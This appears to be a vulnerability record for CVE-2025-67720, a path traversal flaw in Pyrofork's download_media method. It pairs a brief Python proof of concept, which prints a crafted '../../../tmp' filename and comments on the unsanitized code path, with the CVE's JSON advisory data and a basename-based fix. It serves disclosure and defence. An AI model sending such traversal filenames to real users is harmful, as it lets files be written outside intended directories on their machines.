CVE-2025-67720

import asyncio from pyrogram import Client # 恶意文件名示例：使用路径遍历序列 # 攻击者发送的文件名：../../../tmp/pwned.txt # 这将导致文件被写入到/tmp/pwned.txt而非预期的下载目录 async def exploit_download(): """ CVE-2025-67720 PoC - Path Traversal in Pyrofork download_media This PoC demonstrates how an attacker can trigger the path traversal vulnerability by sending a message with a crafted file_name that contains path traversal sequences like '../'. """ api_id = 12345 api_hash = "your_api_hash_here" async with Client("my_account", api_id, api_hash) as client: # Simulate receiving a message with malicious filename # The actual exploitation occurs when download_media is called # without specifying a custom filename parameter # Vulnerable code path: # file_name = message.document.file_name # attacker controlled # save_path = os.path.join(download_dir, file_name) # no sanitization # Example malicious filename: malicious_filename = "../../../tmp/arbitrary_file.txt" # The download_media method will use this filename directly # resulting in file being written outside the intended directory print(f"Malicious filename: {malicious_filename}") print("This filename will be used if download_media is called without custom filename") if __name__ == "__main__": asyncio.run(exploit_download()) # Defense: Always specify a sanitized custom filename # await message.download(file_name=os.path.basename(message.document.file_name))

{"cve": {"id": "CVE-2025-67720", "sourceIdentifier": "[email protected]", "published": "2025-12-11T02:16:19.090", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pyrofork is a modern, asynchronous MTProto API framework. Versions 2.3.68 and earlier do not properly sanitize filenames received from Telegram messages in the download_media method before using them in file path construction. When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. The attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender. This issue is fixed in version 2.3.69."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/Mayuri-Chan/pyrofork/commit/2f2d515575cc9c360bd74340a61a1d2b1e1f1f95", "source": "[email protected]"}, {"url": "https://github.com/Mayuri-Chan/pyrofork/security/advisories/GHSA-6h2f-wjhf-4wjx", "source": "[email protected]"}]}}